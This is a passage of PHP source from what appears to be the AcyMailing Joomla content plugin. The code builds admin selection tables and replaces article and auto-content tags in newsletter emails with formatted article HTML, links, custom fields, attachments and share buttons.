					foreach($socialMedias as $key => $oneSocial){
						if($cpt == 4){
							$cpt = 1;
							echo '</tr><tr><td/>';
						}
						echo '<td><input value="'.$key.'" name="autosocialshare" id="auto'.$key.'" type="checkbox" onclick="updateAutoTag();" /> ';
						echo '<label for="auto'.$key.'">'.$oneSocial.'</label></td>';
						$cpt++;
					}
					while($cpt != 4){
						$cpt++;
						echo '<td/>';
					}
					?>
				</tr>
			</table>
<?php
		if(version_compare($jversion, '3.7.0', '>=') && !empty($customFields)){
			echo '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('EXTRA_FIELDS').'</span>
					<table class="acymailing_table" cellpadding="1">';
			foreach($groups as $oneGroup){
				echo '<tr><td style="font-weight: bold;">'.$oneGroup->title.'</td>';
				$i = 1;
				foreach($customFields as $oneCF){
					if($oneCF->group_id != $oneGroup->id) continue;
					if($i == 4){
						$i = 1;
						echo '</tr><tr><td/>';
					}
					echo '<td><input value="'.$oneCF->id.'" name="customfieldsauto" id="autocf_'.$oneCF->id.'" type="checkbox" onclick="updateAutoTag();"/>';
					echo '<label style="margin-left:5px" for="autocf_'.$oneCF->id.'">'.$oneCF->title.'</label></td>';
					$i++;
				}
				while($i != 4){
					$i++;
					echo '<td/>';
				}
				echo '</tr>';
			}
			echo '</table></div>';
		}
?>
		</div>

		<div class="onelineblockoptions">
			<table class="acymailing_table" cellpadding="1" width="100%">
				<thead>
				<tr>
					<th class="title"></th>
					<?php if(!ACYMAILING_J16){ ?>
						<th class="title">
							<?php echo acymailing_translation('SECTION'); ?>
						</th>
					<?php } ?>
					<th class="title">
						<?php echo acymailing_translation('TAG_CATEGORIES'); ?>
					</th>
				</tr>
				</thead>
				<tbody>
				<?php
				$k = 0;
				if(!ACYMAILING_J16){
					?>
					<tr id="content_sec0_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(0,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
						<td class="acytdcheckbox"></td>
						<td style="font-weight: bold;">
							<?php
							echo acymailing_translation('ACY_ALL');
							?>
						</td>
						<td style="text-align:center;font-weight: bold;">
							<?php
							echo acymailing_translation('ACY_ALL');
							?>
						</td>
					</tr>

					<?php
				}

				$k = 1 - $k;
				$currentSection = '';
				foreach($categories as $row){

					if(!ACYMAILING_J16 && $currentSection != $row->section){
						?>
						<tr id="content_sec<?php echo $row->secid ?>_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
							<td class="acytdcheckbox"></td>
							<td style="font-weight: bold;">
								<?php
								echo $row->section;
								?>
							</td>
							<td style="text-align:center;font-weight: bold;">
								<?php
								echo acymailing_translation('ACY_ALL');
								?>
							</td>
						</tr>
						<?php
						$k = 1 - $k;
						$currentSection = $row->section;
					}
					if(!ACYMAILING_J16){
						?>
						<tr id="content_sec<?php echo $row->secid ?>_cat<?php echo $row->catid ?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,<?php echo $row->catid ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">
							<td class="acytdcheckbox"></td>
							<td>
							</td>
							<td>
								<?php
								echo $row->category;
								?>
							</td>
						</tr>
						<?php
					}else{ ?>
						<tr id="content_cat<?php echo $row->id ?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->id ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">
							<td class="acytdcheckbox"></td>
							<td>
								<?php
								echo $row->title;
								?>
							</td>
						</tr>
					<?php }
					$k = 1 - $k;
				}
				?>
				</tbody>
			</table>
		</div>
		<?php

		echo $tabs->endPanel();
		echo $tabs->endPane();
	}

	public function acymailing_replacetags(&$email, $send = true){
		$this->_replaceAuto($email);
		$this->_replaceArticles($email);
	}

	private function _replaceArticles(&$email){
		$tags = $this->acypluginsHelper->extractTags($email, 'joomlacontent');
		if(empty($tags)) return;

		$this->newslanguage = new stdClass();
		if(!empty($email->language)){
			$this->newslanguage = acymailing_loadObject('SELECT lang_id, lang_code FROM #__languages WHERE sef = '.acymailing_escapeDB($email->language).' LIMIT 1');
		}

		$this->currentcatid = -1;
		$this->readmore = empty($email->template->readmore) ? acymailing_translation('JOOMEXT_READ_MORE') : '<img class="readmorepict" src="'.ACYMAILING_LIVE.$email->template->readmore.'" alt="'.acymailing_translation('JOOMEXT_READ_MORE', true).'" />';

		require_once JPATH_SITE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php';

		if($this->params->get('integration') == 'flexicontent' && file_exists(JPATH_SITE.DS.'components'.DS.'com_flexicontent'.DS.'helpers'.DS.'route.php')){
			require_once JPATH_SITE.DS.'components'.DS.'com_flexicontent'.DS.'helpers'.DS.'route.php';
		}

		$tagsReplaced = array();
		foreach($tags as $i => $oneTag){
			if(isset($tagsReplaced[$i])) continue;
			$tagsReplaced[$i] = $this->_replaceContent($oneTag);
		}

		$this->acypluginsHelper->replaceTags($email, $tagsReplaced, true);
	}

	private function _replaceContent(&$tag){
		$oldFormat = empty($tag->format);

		if($tag->id == 'current'){
			$article_id = acymailing_getVar('int', 'articleId');
			if(empty($article_id)) return;
			$tag->id = $article_id;
		}
		if(!ACYMAILING_J16){
			$query = 'SELECT a.*,b.name as authorname, c.alias as catalias, c.title as cattitle, c.image AS catpict, s.alias as secalias, s.title as sectitle FROM '.acymailing_table('content', false).' as a ';
			$query .= 'LEFT JOIN '.acymailing_table('users', false).' as b ON a.created_by = b.id ';
			$query .= ' LEFT JOIN '.acymailing_table('categories', false).' AS c ON c.id = a.catid ';
			$query .= ' LEFT JOIN '.acymailing_table('sections', false).' AS s ON s.id = a.sectionid ';
			$query .= 'WHERE a.id = '.$tag->id.' LIMIT 1';
		}else{
			$query = 'SELECT a.*,b.name as authorname, c.alias as catalias, c.title as cattitle, c.params AS catparams FROM '.acymailing_table('content', false).' as a ';
			$query .= 'LEFT JOIN '.acymailing_table('users', false).' as b ON a.created_by = b.id ';
			$query .= ' LEFT JOIN '.acymailing_table('categories', false).' AS c ON c.id = a.catid ';
			$query .= 'WHERE a.id = '.$tag->id.' LIMIT 1';
		}

		$article = acymailing_loadObject($query);

		if(empty($article)){
			if(acymailing_isAdmin()) acymailing_enqueueMessage('The article "'.$tag->id.'" could not be loaded', 'notice');
			return '';
		}

		if(empty($tag->lang) && !empty($this->newslanguage) && !empty($this->newslanguage->lang_code)) $tag->lang = $this->newslanguage->lang_code.','.$this->newslanguage->lang_id;

		$this->acypluginsHelper->translateItem($article, $tag, 'content');

		$varFields = array();
		foreach($article as $fieldName => $oneField){
			$varFields['{'.$fieldName.'}'] = $oneField;
		}

		$this->acypluginsHelper->cleanHtml($article->introtext);
		$this->acypluginsHelper->cleanHtml($article->fulltext);


		if($this->params->get('integration') == 'jreviews' && !empty($article->images)){
			$firstpict = explode('|', trim(reset(explode("\n", $article->images))).'|||||||');
			if(!empty($firstpict[0])){
				$picturePath = file_exists(ACYMAILING_ROOT.'images'.DS.'stories'.DS.str_replace('/', DS, $firstpict[0])) ? ACYMAILING_LIVE.'images/stories/'.$firstpict[0] : ACYMAILING_LIVE.'images/'.$firstpict[0];
				$myPict = '<img src="'.$picturePath.'" alt="" hspace="5" style="margin:5px" align="left" border="'.intval($firstpict[5]).'" />';
				$article->introtext = $myPict.$article->introtext;
			}
		}
		$completeId = $article->id;
		$completeCat = $article->catid;

		if(!empty($article->alias)) $completeId .= ':'.$article->alias;
		if(!empty($article->catalias)) $completeCat .= ':'.$article->catalias;

		if(empty($tag->itemid)){
			if(!ACYMAILING_J16){
				$completeSec = $article->sectionid;
				if(!empty($article->secalias)) $completeSec .= ':'.$article->secalias;
				if($this->params->get('integration') == 'flexicontent' && class_exists('FlexicontentHelperRoute')){
					$link = FlexicontentHelperRoute::getItemRoute($completeId, $completeCat, $completeSec);
				}else{
					$link = ContentHelperRoute::getArticleRoute($completeId, $completeCat, $completeSec);
				}
			}else{
				if($this->params->get('integration') == 'flexicontent' && class_exists('FlexicontentHelperRoute')){
					$link = FlexicontentHelperRoute::getItemRoute($completeId, $completeCat);
				}else{
					$link = ContentHelperRoute::getArticleRoute($completeId, $completeCat);
				}
			}
		}else{
			$link = 'index.php?option=com_content&view=article&id='.$completeId.'&catid='.$completeCat;
		}


		if($this->params->get('integration') == 'flexicontent' && !class_exists('FlexicontentHelperRoute')){
			$link = 'index.php?option=com_flexicontent&view=items&id='.$completeId;
		}elseif($this->params->get('integration') == 'jaggyblog'){
			$link = 'index.php?option=com_jaggyblog&task=viewpost&id='.$completeId;
		}

		if(!empty($tag->itemid)) $link .= '&Itemid='.$tag->itemid;
		if(!empty($tag->lang)) $link .= (strpos($link, '?') ? '&' : '?').'lang='.substr($tag->lang, 0, strpos($tag->lang, ACYMAILING_J16 ? '-' : ','));
		if(!empty($tag->autologin)) $link .= (strpos($link, '?') ? '&' : '?').'user={usertag:username|urlencode}&passw={usertag:password|urlencode}';

		if(empty($tag->lang) && !empty($article->language) && $article->language != '*'){
			if(!isset($this->langcodes[$article->language])){
				$this->langcodes[$article->language] = acymailing_loadResult('SELECT sef FROM #__languages WHERE lang_code = '.acymailing_escapeDB($article->language).' ORDER BY `published` DESC LIMIT 1');
				if(empty($this->langcodes[$article->language])) $this->langcodes[$article->language] = $article->language;
			}
			$link .= (strpos($link, '?') ? '&' : '?').'lang='.$this->langcodes[$article->language];
		}

		$nonsefLink = $link;
		$mainurl = acymailing_mainURL($nonsefLink);
		$nonsefLink = $mainurl.$nonsefLink;

		$link = acymailing_frontendLink($link);
		$varFields['{link}'] = $link;

		$afterTitle = '';
		$afterArticle = '';
		$contentText = '';
		$pictPath = '';

		if(!empty($tag->author)){
			$authorName = empty($article->created_by_alias) ? $article->authorname : $article->created_by_alias;
			if($tag->type == 'title') $afterTitle .= '<br />';
			$afterTitle .= '<span class="authorname">'.$authorName.'</span><br />';
		}

		$dateFormat = empty($tag->dateformat) ? acymailing_translation('DATE_FORMAT_LC2') : $tag->dateformat;
		if(!empty($tag->created)){
			if($tag->type == 'title') $afterTitle .= '<br />';
			$varFields['{createddate}'] = acymailing_date($article->created, $dateFormat);
			$afterTitle .= '<span class="createddate">'.$varFields['{createddate}'].'</span><br />';
		}

		if(!empty($tag->modified)){
			if($tag->type == 'title') $afterTitle .= '<br />';
			$varFields['{modifieddate}'] = acymailing_date($article->modified, $dateFormat);
			$afterTitle .= '<span class="modifieddate">'.$varFields['{modifieddate}'].'</span><br />';
		}

		if(!isset($tag->pict) && $tag->type != 'title'){
			if($this->params->get('removepictures', 'never') == 'always' || ($this->params->get('removepictures', 'never') == 'intro' && $tag->type == "intro")){
				$tag->pict = 0;
			}else{
				$tag->pict = 1;
			}
		}

		if(strpos($article->introtext, 'jseblod') !== false && file_exists(ACYMAILING_ROOT.'plugins'.DS.'content'.DS.'cckjseblod.php')){
			global $mainframe;
			include_once(ACYMAILING_ROOT.'plugins'.DS.'content'.DS.'cckjseblod.php');
			if(function_exists('plgContentCCKjSeblod')){
				$paramsContent = JComponentHelper::getParams('com_content');
				$article->text = $article->introtext.$article->fulltext;
				plgContentCCKjSeblod($article, $paramsContent);
				$article->introtext = $article->text;
				$article->fulltext = '';
			}
		}

		if($tag->type != "title"){
			if($tag->type == "intro"){
				$forceReadMore = false;
				$mytag = new stdClass();
				$mytag->wrap = $this->params->get('wordwrap', 0);
				if(empty($article->fulltext)){
					$article->introtext = $this->acypluginsHelper->wrapText($article->introtext, $mytag);
					if(!empty($this->acypluginsHelper->wraped)) $forceReadMore = true;
				}
			}

			if(empty($article->fulltext) || $tag->type != "text"){
				$contentText .= $article->introtext;
			}

			if($tag->type != "intro" && !empty($article->fulltext)){
				if($tag->type != "text" && !empty($article->introtext) && !preg_match('#^<[div|p]#i', trim($article->fulltext))){
					$contentText .= '<br />';
				}
				$contentText .= $article->fulltext;
			}

			$contentText = $this->acypluginsHelper->wrapText($contentText, $tag);
			if(!empty($this->acypluginsHelper->wraped)) $forceReadMore = true;

			if(!empty($tag->clean)){
				$contentText = strip_tags($contentText, '<p><br><span><ul><li><h1><h2><h3><h4><a>');
			}

			$varFields['{picthtml}'] = '';
			if(ACYMAILING_J16 && !empty($article->images) && !empty($tag->pict) && empty($tag->nomainimage)){
				$picthtml = '';
				$images = json_decode($article->images);
				$pictVar = ($tag->type == 'intro') ? 'image_intro' : 'image_fulltext';
				$floatVar = ($tag->type == 'intro') ? 'float_intro' : 'float_fulltext';
				if(!empty($images->$pictVar)){
					if($images->$floatVar != 'right'){
						if(empty($tag->format)) $tag->format = 'TOP_LEFT';
						$images->$floatVar = 'left';
					}elseif(empty($tag->format)) $tag->format = 'TOP_RIGHT';
					$style = 'float:'.$images->$floatVar.';padding-'.(($images->$floatVar == 'right') ? 'left' : 'right').':10px;padding-bottom:10px;';
					if(!empty($tag->link) && empty($tag->nopictlink)) $picthtml .= '<a target="_blank" href="'.$link.'" style="text-decoration:none" >';
					$alt = '';
					$altVar = $pictVar.'_alt';
					if(!empty($images->$altVar)) $alt = $images->$altVar;
					$picthtml .= '<img'.(empty($tag->nopictstyle) ? ' style="'.$style.'"' : '').' alt="'.$alt.'" border="0" src="'.acymailing_rootURI().$images->$pictVar.'" />';
					$pictPath = acymailing_rootURI().$images->$pictVar;
					if(!empty($tag->link) && empty($tag->nopictlink)) $picthtml .= '</a>';
					$varFields['{picthtml}'] = $picthtml;
				}
			}

			$contentText = preg_replace('/^\s*(<img[^>]*>)\s*(?:<br[^>]*>\s*)*/i', '$1', $contentText);

			if(!empty($tag->custom)){
				$tag->custom = explode(',', $tag->custom);
				acymailing_arrayToInteger($tag->custom);

				$articleCFValues = acymailing_loadObjectList('SELECT fv.value, f.id, f.fieldparams, f.params, f.type, f.label, f.default_value 
																FROM #__fields AS f 
																LEFT JOIN #__fields_values AS fv ON fv.field_id = f.id AND fv.item_id = '.intval($tag->id).' 
																WHERE  f.id IN ('.implode(',', $tag->custom).')');

				$fields = array();
				foreach($articleCFValues as $oneVal){
					$fields[$oneVal->id]['values'][] = $oneVal->value;
					$fields[$oneVal->id]['field'] = $oneVal;
				}

				foreach($fields as $oneField){
					if(!empty($oneField['field']->fieldparams)) $oneField['field']->fieldparams = json_decode($oneField['field']->fieldparams, true);
					$oneField['field']->params = json_decode($oneField['field']->params, true);

					if($oneField['values'][0] === NULL){
						if(($oneField['field']->type == 'user' && empty($oneField['field']->default_value)) || ($oneField['field']->type != 'user' && strlen($oneField['field']->default_value) == 0)) continue;
						$oneField['values'] = array($oneField['field']->default_value);
					}

					foreach($oneField['values'] as &$oneFieldVal){
						switch($oneField['field']->type){
							case 'radio':
							case 'list':
							case 'checkboxes':
								foreach($oneField['field']->fieldparams['options'] as $oneOPT){
									if($oneOPT['value'] == $oneFieldVal){
										$oneFieldVal = $oneOPT['name'];
										break;
									}
								}
								break;

							case 'usergrouplist':
								if(empty($this->usergroups)) $this->usergroups = acymailing_loadObjectList('SELECT id, title FROM #__usergroups', 'id');

								$oneFieldVal = $this->usergroups[$oneFieldVal]->title;
								break;

							case 'imagelist':
								if($oneFieldVal == -1){
									$oneFieldVal = NULL;
									continue;
								}

								if(strlen($oneField['field']->fieldparams['directory']) > 1) $oneFieldVal = '/'.$oneFieldVal;
								else $oneField['field']->fieldparams['directory'] = '';
								$oneFieldVal = '<img src="images/'.$oneField['field']->fieldparams['directory'].$oneFieldVal.'" />';
								break;

							case 'url':
								$oneFieldVal = '<a target="_blank" href="'.$oneFieldVal.'">'.$oneFieldVal.'</a>';
								break;

							case 'sql':
								if(empty($oneField['field']->options)){
									$oneField['field']->options = acymailing_loadObjectList($oneField['field']->fieldparams['query'], 'value');
								}

								$oneFieldVal = $oneField['field']->options[$oneFieldVal]->text;
								break;

							case 'user':
								$oneFieldVal = acymailing_currentUserName($oneFieldVal);
								break;

							case 'media':
								$oneFieldVal = '<img src="'.$oneFieldVal.'" />';
								break;

							case 'calendar':
								$format = $oneField['field']->fieldparams['showtime'] == '1' ? 'Y-m-d H:i' : 'Y-m-d';
								$oneFieldVal = acymailing_date(strtotime($oneFieldVal), $format);
								break;
						}
					}

					$replaceme = trim(implode(', ', $oneField['values']), ', ');
					if(empty($replaceme)) continue;

					if($oneField['field']->params['showlabel'] == '1'){
						$label = $oneField['field']->label.': ';
						if($oneField['field']->type == 'imagelist') $label .= '<br/>';
						$replaceme = $label.$replaceme;
					}
					$afterArticle .= '<br />'.$replaceme;
				}
			}
			
			if(file_exists(JPATH_SITE.DS.'plugins'.DS.'attachments') && empty($tag->noattach)){
				try{
					$query = 'SELECT display_name, url, filename '.'FROM #__attachments '.'WHERE (parent_entity = "article" '.'AND parent_id = '.intval($tag->id).')';
					if(ACYMAILING_J16){
						$query .= ' OR (parent_entity = "category" '.'AND parent_id = '.intval($article->catid).')';
					}
					$attachments = acymailing_loadObjectList($query);
				}catch(Exception $e){
					$attachments = array();
				}

				if(!empty($attachments)){
					$afterArticle .= '<br />'.acymailing_translation('ATTACHED_FILES').' :';
					foreach($attachments as $oneAttachment){
						$afterArticle .= '<br /><a target="_blank" href="'.$oneAttachment->url.'">'.(empty($oneAttachment->display_name) ? $oneAttachment->filename : $oneAttachment->display_name).'</a>';
					}
				}
			}

			if(!empty($tag->share)){
				$links = array();
				$shareOpt = explode(',', $tag->share);
				foreach($shareOpt as $socialNetwork){
					$knownNetwork = true;
					$socialNetwork = strtolower(trim($socialNetwork));
					if($socialNetwork == 'facebook'){
						$linkShare = 'http://www.facebook.com/sharer.php?u='.urlencode($nonsefLink).'&t='.urlencode($article->title);
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'facebook.png') ? 'media/com_acymailing/plugins/facebook.png' : 'media/com_acymailing/images/facebookshare.png');
						$altText = 'Facebook';
					}elseif($socialNetwork == 'twitter'){
						$text = acymailing_translation_sprintf('SHARE_TEXT', $nonsefLink);
						$linkShare = 'http://twitter.com/home?status='.urlencode($text);
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'twitter.png') ? 'media/com_acymailing/plugins/twitter.png' : 'media/com_acymailing/images/twittershare.png');
						$altText = 'Twitter';
					}elseif($socialNetwork == 'linkedin'){
						$linkShare = 'http://www.linkedin.com/shareArticle?mini=true&url='.urlencode($nonsefLink).'&title='.urlencode($article->title);
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'linkedin.png') ? 'media/com_acymailing/plugins/linkedin.png' : 'media/com_acymailing/images/linkedin.png');
						$altText = 'LinkedIn';
					}elseif($socialNetwork == 'google'){
						$linkShare = 'https://plus.google.com/share?url='.urlencode($nonsefLink);
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'google.png') ? 'media/com_acymailing/plugins/google.png' : 'media/com_acymailing/images/google_plusshare.png');
						$altText = 'Google+';
					}elseif($socialNetwork == 'mailto'){
						$linkShare = 'mailto:?subject='.urlencode($article->title).'&body='.urlencode($article->title.' ('.$nonsefLink.')');
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'mailto.png') ? 'media/com_acymailing/plugins/mailto.png' : 'media/com_acymailing/images/mailto.png');
						$altText = 'MailTo';
					}else{
						$knownNetwork = false;
						acymailing_display('Network not found: '.$socialNetwork.'. Availables networks are facebook, twitter, linkedin, google and mailto.', 'warning');
					}
					if($knownNetwork){
						array_push($links, '<a target="_blank" href="'.$linkShare.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', $altText).'"><img alt="'.$altText.'" src="'.$picSrc.'" /></a>');
					}
				}
				$afterArticle .= '<br />'.(!empty($tag->sharetxt) ? $tag->sharetxt.' ' : '').implode(' ', $links);
			}
		}

		if(!empty($tag->jtags) && version_compare(JVERSION, '3.1.0', '>=')){
			$tags = acymailing_loadObjectList('SELECT t.id, t.alias, t.title FROM #__tags AS t JOIN #__contentitem_tag_map AS m ON t.id = m.tag_id WHERE t.published = 1 AND m.type_alias = "com_content.article" AND m.content_item_id = '.intval($tag->id));
			if(!empty($tags)){
				$afterArticle .= '<br />';
				foreach($tags as $oneTag){
					$afterArticle .= ' <a target="_blank" href="index.php?option=com_tags&view=tag&id='.$oneTag->id.'-'.$oneTag->alias.'">'.$oneTag->title.'</a> ';
				}
			}
		}

		$readMoreText = empty($tag->readmore) ? $this->readmore : $tag->readmore;
		$varFields['{readmore}'] = '<a class="acymailing_readmore_link" style="text-decoration:none;" target="_blank" href="'.$link.'"><span class="acymailing_readmore">'.$readMoreText.'</span></a>';

		if($tag->type == "intro" && empty($tag->noreadmore) && (!empty($article->fulltext) || $forceReadMore)){
			if(!empty($afterArticle)) $afterArticle .= '<br />';
			$afterArticle .= $varFields['{readmore}'];
		}

		$format = new stdClass();
		$format->tag = $tag;
		$format->title = empty($tag->notitle) ? $article->title : '';
		$format->afterTitle = $afterTitle;
		$format->afterArticle = $afterArticle;
		$format->imagePath = $pictPath;
		$format->description = $contentText;
		$format->link = empty($tag->link) ? '' : $link;
		$format->cols = 2;
		$result = $this->acypluginsHelper->getStandardDisplay($format);

		if(!empty($tag->theme)){
			if(preg_match('#<img[^>]*>#Uis', $article->introtext.$article->fulltext, $pregresult)){
				$cleanContent = strip_tags($result, '<p><br><span><ul><li><h1><h2><h3><h4><a>');
				$tdwidth = (empty($tag->maxwidth) ? $this->params->get('maxwidth', 150) : $tag->maxwidth) + 20;
				$result = '<table cellspacing="0" width="500" cellpadding="0" border="0" ><tr><td class="contentpicture" width="'.$tdwidth.'" valign="top" align="center"><a href="'.$link.'" target="_blank" style="border:0px;text-decoration:none">'.$pregresult[0].'</a></td><td class="contenttext">'.$cleanContent.'</td></tr></table>';
			}
		}

		if($tag->type != 'title') $result = '<div class="acymailing_content">'.$result.'</div>';

		if(!(empty($tag->cattitle) && empty($tag->catpict)) && ((!strpos($article->catid, ',') && $this->currentcatid != $article->catid) || (strpos($article->catid, ',') && !in_array($this->currentcatid, explode(',', $article->catid))))){
			if(strpos($article->catid, ',')){
				$catids = explode(',', $article->catid);
				$this->currentcatid = $catids[0];
			}else{
				$this->currentcatid = $article->catid;
			}

			if(ACYMAILING_J16){
				$params = json_decode($article->catparams);
				$article->catpict = $params->image;
			}

			$resultTitle = $article->cattitle;

			if(!empty($tag->catpict) && !empty($article->catpict)){
				$style = '';
				if(!empty($tag->catmaxwidth)) $style .= 'max-width:'.intval($tag->catmaxwidth).'px;';
				if(!empty($tag->catmaxheight)) $style .= 'max-height:'.intval($tag->catmaxheight).'px;';
				$resultTitle = '<img'.(empty($style) ? '' : ' style="'.$style.'"').' alt="" src="'.$article->catpict.'" />';
				if(!empty($tag->cattitlelink)) $resultTitle = '<a target="_blank" href="index.php?option=com_content&view=category&id='.$this->currentcatid.'">'.$resultTitle.'</a>';
			}else{
				if(!empty($tag->cattitlelink)) $resultTitle = '<a target="_blank" href="index.php?option=com_content&view=category&id='.$this->currentcatid.'">'.$resultTitle.'</a>';
				$resultTitle = '<h3 class="cattitle">'.$resultTitle.'</h3>';
			}

			$result = $resultTitle.$result;
		}

		if($oldFormat){
			if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'tagcontent_html.php')){
				ob_start();
				require(ACYMAILING_MEDIA.'plugins'.DS.'tagcontent_html.php');
				$result = ob_get_clean();
			}elseif(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'tagcontent.php')){
				ob_start();
				require(ACYMAILING_MEDIA.'plugins'.DS.'tagcontent.php');
				$result = ob_get_clean();
			}
		}elseif(!empty($tag->template) && file_exists(ACYMAILING_MEDIA.'plugins'.DS.$tag->template)){
			ob_start();
			require(ACYMAILING_MEDIA.'plugins'.DS.$tag->template);
			$result = ob_get_clean();
		}
		$result = str_replace(array_keys($varFields), $varFields, $result);

		$result = $this->acypluginsHelper->removeJS($result);

		$tag->maxheight = empty($tag->maxheight) ? $this->params->get('maxheight', 150) : $tag->maxheight;
		$tag->maxwidth = empty($tag->maxwidth) ? $this->params->get('maxwidth', 150) : $tag->maxwidth;
		$result = $this->acypluginsHelper->managePicts($tag, $result);

		if(!empty($tag->maxchar) && strlen(strip_tags($result)) > $tag->maxchar){
			$result = strip_tags($result);
			for($i = $tag->maxchar; $i > 0; $i--){
				if($result[$i] == ' ') break;
			}
			if(!empty($i)) $result = substr($result, 0, $i).@$tag->textafter;
		}

		return $result;
	}

	private function _replaceAuto(&$email){
		$this->acymailing_generateautonews($email);
		if(empty($this->tags)) return;
		$this->acypluginsHelper->replaceTags($email, $this->tags, true);
	}

	public function acymailing_generateautonews(&$email){
		$time = time();

		$tags = $this->acypluginsHelper->extractTags($email, 'autocontent');
		$return = new stdClass();
		$return->status = true;
		$return->message = '';
		$this->tags = array();

		if(empty($tags)) return $return;

		foreach($tags as $oneTag => $parameter){
			if(isset($this->tags[$oneTag])) continue;
			$allcats = explode('-', $parameter->id);
			$selectedArea = array();
			foreach($allcats as $oneCat){
				if(!ACYMAILING_J16){
					$sectype = substr($oneCat, 0, 3);
					$num = substr($oneCat, 3);
					if(empty($num)) continue;
					if($sectype == 'cat'){
						$selectedArea[] = 'catid = '.(int)$num;
					}elseif($sectype == 'sec'){
						$selectedArea[] = 'sectionid = '.(int)$num;
					}
				}else{
					if(empty($oneCat)) continue;
					$selectedArea[] = intval($oneCat);
				}
			}

			$query = 'SELECT DISTINCT a.id FROM `#__content` as a ';
			$where = array();

			if(!empty($parameter->tags) && version_compare(JVERSION, '3.1.0', '>=')){
				$tagsArray = explode(',', $parameter->tags);
				acymailing_arrayToInteger($tagsArray);
				if(!empty($tagsArray)){
					foreach($tagsArray as $oneTagId){
						$query .= 'JOIN #__contentitem_tag_map AS tagsmap'.$oneTagId.' ON (a.id = tagsmap'.$oneTagId.'.content_item_id AND tagsmap'.$oneTagId.'.type_alias LIKE "com_content.article" AND tagsmap'.$oneTagId.'.tag_id = '.$oneTagId.') ';
					}
				}
			}

			if(!empty($parameter->featured)){
				if(ACYMAILING_J16){
					$where[] = 'a.featured = 1';
				}else{
					$query .= 'JOIN `#__content_frontpage` as b ON a.id = b.content_id ';
					$where[] = 'b.content_id IS NOT NULL';
				}
			}

			if(!empty($parameter->nofeatured)){
				if(ACYMAILING_J16){
					$where[] = 'a.featured = 0';
				}else{
					$query .= 'LEFT JOIN `#__content_frontpage` as b ON a.id = b.content_id ';
					$where[] = 'b.content_id IS NULL';
				}
			}

			if(ACYMAILING_J16 && !empty($parameter->subcats) && !empty($selectedArea)){
				$catinfos = acymailing_loadObjectList('SELECT lft,rgt FROM #__categories WHERE id IN ('.implode(',', $selectedArea).')');
				if(!empty($catinfos)){
					$whereCats = array();
					foreach($catinfos as $onecat){
						$whereCats[] = 'lft > '.$onecat->lft.' AND rgt < '.$onecat->rgt;
					}
					$othercats = acymailing_loadResultArray('SELECT id FROM #__categories WHERE ('.implode(') OR (', $whereCats).')');
					$selectedArea = array_merge($selectedArea, $othercats);
				}
			}

			if($this->newMulticats && (!empty($selectedArea) || !empty($parameter->excludedcats))) $query .= ' JOIN `#__multicats_content_catid` as mcc ON a.id = mcc.item_id ';

			if(!empty($selectedArea)){
				if(!ACYMAILING_J16){
					$where[] = implode(' OR ', $selectedArea);
				}else{
					$filter_cat = '`catid` IN ('.implode(',', $selectedArea).')';
					if(file_exists(JPATH_SITE.DS.'components'.DS.'com_multicats')){
						if($this->newMulticats){
							$filter_cat = 'mcc.`catid` REGEXP "^([0-9]+,)*'.implode('(,[0-9]+)*$" OR mcc.`catid` REGEXP "^([0-9]+,)*', $selectedArea).'(,[0-9]+)*$"';
						}else{
							$filter_cat = '`catid` REGEXP "^([0-9]+,)*'.implode('(,[0-9]+)*$" OR `catid` REGEXP "^([0-9]+,)*', $selectedArea).'(,[0-9]+)*$"';
						}
					}
					$where[] = $filter_cat;
				}
			}

			if(!empty($parameter->excludedcats)){
				$excludedCats = explode('-', $parameter->excludedcats);
				acymailing_arrayToInteger($excludedCats);
				$filter_cat = '`catid` NOT IN ("'.implode('","', $excludedCats).'")';
				if(file_exists(JPATH_SITE.DS.'components'.DS.'com_multicats')){
					if($this->newMulticats){
						$filter_cat = 'mcc.`catid` NOT REGEXP "^([0-9]+,)*'.implode('(,[0-9]+)*$" AND mcc.`catid` NOT REGEXP "^([0-9]+,)*', $excludedCats).'(,[0-9]+)*$"';
					}else{
						$filter_cat = '`catid` NOT REGEXP "^([0-9]+,)*'.implode('(,[0-9]+)*$" AND `catid` NOT REGEXP "^([0-9]+,)*', $excludedCats).'(,[0-9]+)*$"';
					}
				}
				$where[] = $filter_cat;
			}

			if(!empty($parameter->filter) && !empty($email->params['lastgenerateddate'])){
				$condition = '(`publish_up` > \''.date('Y-m-d H:i:s', $email->params['lastgenerateddate'] - date('Z')).'\' AND `publish_up` < \''.date('Y-m-d H:i:s', $time - date('Z')).'\')';
				$condition .= ' OR (`created` > \''.date('Y-m-d H:i:s', $email->params['lastgenerateddate'] - date('Z')).'\' AND `created` < \''.date('Y-m-d H:i:s', $time - date('Z')).'\')';
				if($parameter->filter == 'modify'){
					$modify = '(`modified` > \''.date('Y-m-d H:i:s', $email->params['lastgenerateddate'] - date('Z')).'\' AND `modified` < \''.date('Y-m-d H:i:s', $time - date('Z')).'\')';
					if(!empty($parameter->maxpublished)) $modify = '('.$modify.' AND `publish_up` > \''.date('Y-m-d H:i:s', time() - date('Z') - ((int)$parameter->maxpublished * 60 * 60 * 24)).'\')';
					$condition .= ' OR '.$modify;
				}

				$where[] = $condition;
			}

			if(!empty($parameter->maxcreated)){
				$date = $parameter->maxcreated;
				if(strpos($parameter->maxcreated, '[time]') !== false) $date = acymailing_replaceDate(str_replace('[time]', '{time}', $parameter->maxcreated));
				if(!is_numeric($date)) $date = strtotime($parameter->maxcreated);
				if(empty($date)){
